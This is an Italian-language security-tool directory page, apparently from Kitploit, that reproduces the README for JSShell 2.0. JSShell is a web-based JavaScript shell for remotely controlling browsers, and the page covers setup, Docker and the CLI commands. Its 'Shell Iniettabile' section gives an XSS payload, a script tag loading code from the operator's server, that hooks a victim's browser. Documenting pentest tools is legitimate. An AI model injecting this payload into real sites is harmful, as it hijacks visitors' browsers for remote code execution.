Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
JSShell — Una shell web JS interattiva multiutente | Kitploit
Strumenti/GitHubGitHub/den1al/jsshell
ExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso Remoto
GitHubden1al/jsshell

JSShell

Una shell web JS interattiva multiutente

Vedi Repository
364704 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

JSShell 2.0

made-with-python Generic badge Generic badge

Una shell JavaScript interattiva multi-utente basata sul web. È stata creata inizialmente per eseguire il debug di browser esoterici remoti durante esperimenti e ricerche. Questo strumento può essere facilmente allegato a payload XSS (Cross Site Scripting) per ottenere l'esecuzione remota di codice nel browser (simile al framework BeeF).

La versione 2.0 è stata creata interamente da zero, introducendo nuove entusiasmanti funzionalità, stabilità e manutenibilità.

Versione: 2.0

Autore

Daniel Abeles.

Video della Shell

asciicast

Funzionalità

  • Supporto multi client
  • Supporto per oggetti DOM ciclici
  • Script di pre-flight
  • Coda di comandi e contesto
  • Estendibile con plugin
  • Iniettabile tramite tag <script>
  • Salvataggio output comandi su file
  • Paginazione della shell
  • Supporto HTTPS! Generic badge

Installazione e Configurazione

File di Configurazione

Nella directory resources, aggiorna il file config.json con la configurazione desiderata:

  • Host del database - se si utilizza il metodo di distribuzione docker, imposta l'host del database come db (che è il nome host interno).
  • URL di ritorno - l'URL che i richieste seguiranno. Il file shell.js effettua alcune chiamate AJAX per registrarsi e interrogare nuovi comandi. Di solito sarà http[s]://{YOUR_SERVER_IP}:{PORT}.
  • Script di avvio - uno script che viene eseguito automaticamente quando viene avviato il client CLI di JSShell.
  • Dominio - se desideri generare certificati TLS, questo è il nome di dominio che il server utilizzerà.
  • È anche possibile puntare a un database remoto se desiderato.

Let's Encrypt

Ora JSShell supporta TLS, il che significa che puoi generare certificati TLS e fornirli al server web. Il server web dedurrà il nome di dominio dal file config.json. Per creare il certificato, utilizza lo script create_cert.py nella cartella scripts:

root@kitploit:~
$ cd scripts
$ python create_cert.py --domain <YOUR_DOMAIN> --email <YOUR_EMAIL>
il campo email è opzionale.

Si prega di notare che il server web deve essere fermo affinché lo script funzioni correttamente. A questo punto, abbiamo generato con successo i nostri certificati! Le uniche modifiche che dobbiamo apportare sono:

  • Nel file config.json, cambia lo schema del campo URL in https.
  • Nel file docker-compose.yml, cambia la porta esposta del contenitore web a 443.

Docker

Questa nuova versione supporta l'installazione e l'esecuzione di JSShell tramite docker e docker-compose. Ora, per installare ed eseguire l'intero framework JSShell, esegui semplicemente:

root@kitploit:~
$ ./scripts/start_docker_shell.sh

Questo:

  • Avvia e crea il database in background
  • Avvia il server API web che gestisce le connessioni in entrata in background
  • Avvia una nuova istanza del contenitore dell'interfaccia a riga di comando di JSShell

Normale

Se preferisci ancora utilizzare il metodo di installazione tradizionale, assicurati di avere un database MongoDB attivo e funzionante, e aggiorna il file config.json situato nella directory resources.

Raccomando di utilizzare un ambiente virtuale con pyenv:

root@kitploit:~
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv

Oppure utilizzando virtualenv:

root@kitploit:~
$ virtualenv -p python3.6 venv
$ source venv/bin/activate

Quindi, installa i requisiti:

root@kitploit:~
$ pip install -r requirements.txt

Esecuzione

Se hai utilizzato il metodo docker, non è necessario eseguire la procedura seguente.

Server Web

Altrimenti, una volta impostato il database, dobbiamo avviare il server API web. Per farlo, esegui:

root@kitploit:~
$ python manage.py web

Questo creerà e avvierà un server web che ascolta le connessioni in entrata e serve il nostro codice JSShell.

Shell

Ora per avviare la CLI di JSShell, esegui lo stesso script ma con il flag shell:

root@kitploit:~
$ python manage.py shell

Utilizzo

Dopo la configurazione e l'esecuzione dei componenti richiesti, inserisci il comando help per vedere i comandi disponibili:

root@kitploit:~
     ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
     ║╚═╗└─┐├─┤├┤ │  │  
    ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
        by @Daniel_Abeles
    
>> help

Documented commands (type help <topic>):

General Commands
--------------------------------------------------------------------------------
edit                Edit a file in a text editor
help                List available commands or provide detailed help for a specific command
history             View, run, edit, save, or clear previously entered commands
ipy                 Enter an interactive IPython shell
py                  Invoke Python command or shell
quit                Exit this application

Shell Based Operations
--------------------------------------------------------------------------------
back                Un-select the current selected client
clients             List and control the clients that have registered to our system
commands            Show the executed commands on the selected client
dump                Dumps a command to the disk
execute             Execute commands on the selected client
select              Select a client as the current client

>> 

Flusso

JSShell supporta 2 metodi di funzionamento:

  1. Shell Iniettabile (simile al framework BeeF)
  2. Shell Ospitata (per debug)

Shell Iniettabile

Simile ad altri framework di controllo XSS (come BeeF), JSShell è in grado di gestire con successo exploit XSS. Ad esempio, se puoi iniettare un tag script, inietta la seguente risorsa nel tuo payload, e un nuovo client apparirà nella tua console:

<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>

Shell Ospitata

Se desideri eseguire il debug di browser esotici e di nicchia, puoi semplicemente navigare a http[s]://{YOUR_SERVER_IP}:{PORT}/ e un nuovo client apparirà nel tuo client CLI JSShell. Ora è debuggabile tramite la console JSShell.

Crediti

Canop per JSON.prune

usalo a tua responsabilità e rischio.
Scarica lo strumento